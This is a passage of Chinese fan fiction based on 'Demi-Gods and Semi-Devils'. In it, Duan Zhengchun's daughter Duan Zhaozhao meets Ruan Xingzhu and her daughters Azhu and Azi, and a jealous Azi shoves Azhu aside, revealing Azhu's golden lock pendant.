“我姓段,段昭昭。家父镇南王段正淳,夫人与家父有旧?” “你便是昭儿?你瞧着不似十岁的姑娘,我竟未能认出来。”阮星竹红了脸,一双星眸水润,含羞带怯,“我姓阮,先前住在小镜湖,你爹爹曾对我提起过你。” 阮星竹知晓段昭昭的身份后,越发热情,甚至可以说是坐立不安,生怕自己给段昭昭留下丁点的不好印象,“阿朱,快唤姐姐。” 阿朱早已知晓段正淳是自己的生父,阮星竹也曾告诉过她,日后她去了大理,一定要好好孝顺段正淳。 这镇南王府中,最受段正淳疼爱的并非世子段誉,而是段昭昭这个郡主,要她一定要尊敬这个姐姐,同这个姐姐搞好关系。 只是未曾想到,今日两人会以这样的方式相逢。 “不要!”阿朱未曾说话,阿紫却先爆发了,她一把推开了阿朱,丝毫不见方才的亲密,“这是我的姐姐,不准你喊她姐姐!” 她这用力一推,阿朱被推得一个趔趄,踉跄间,脖子上的金锁片就这么滑了出来,顿时又将阿紫的目光吸引过去。 “你这金锁片,哪里来的?”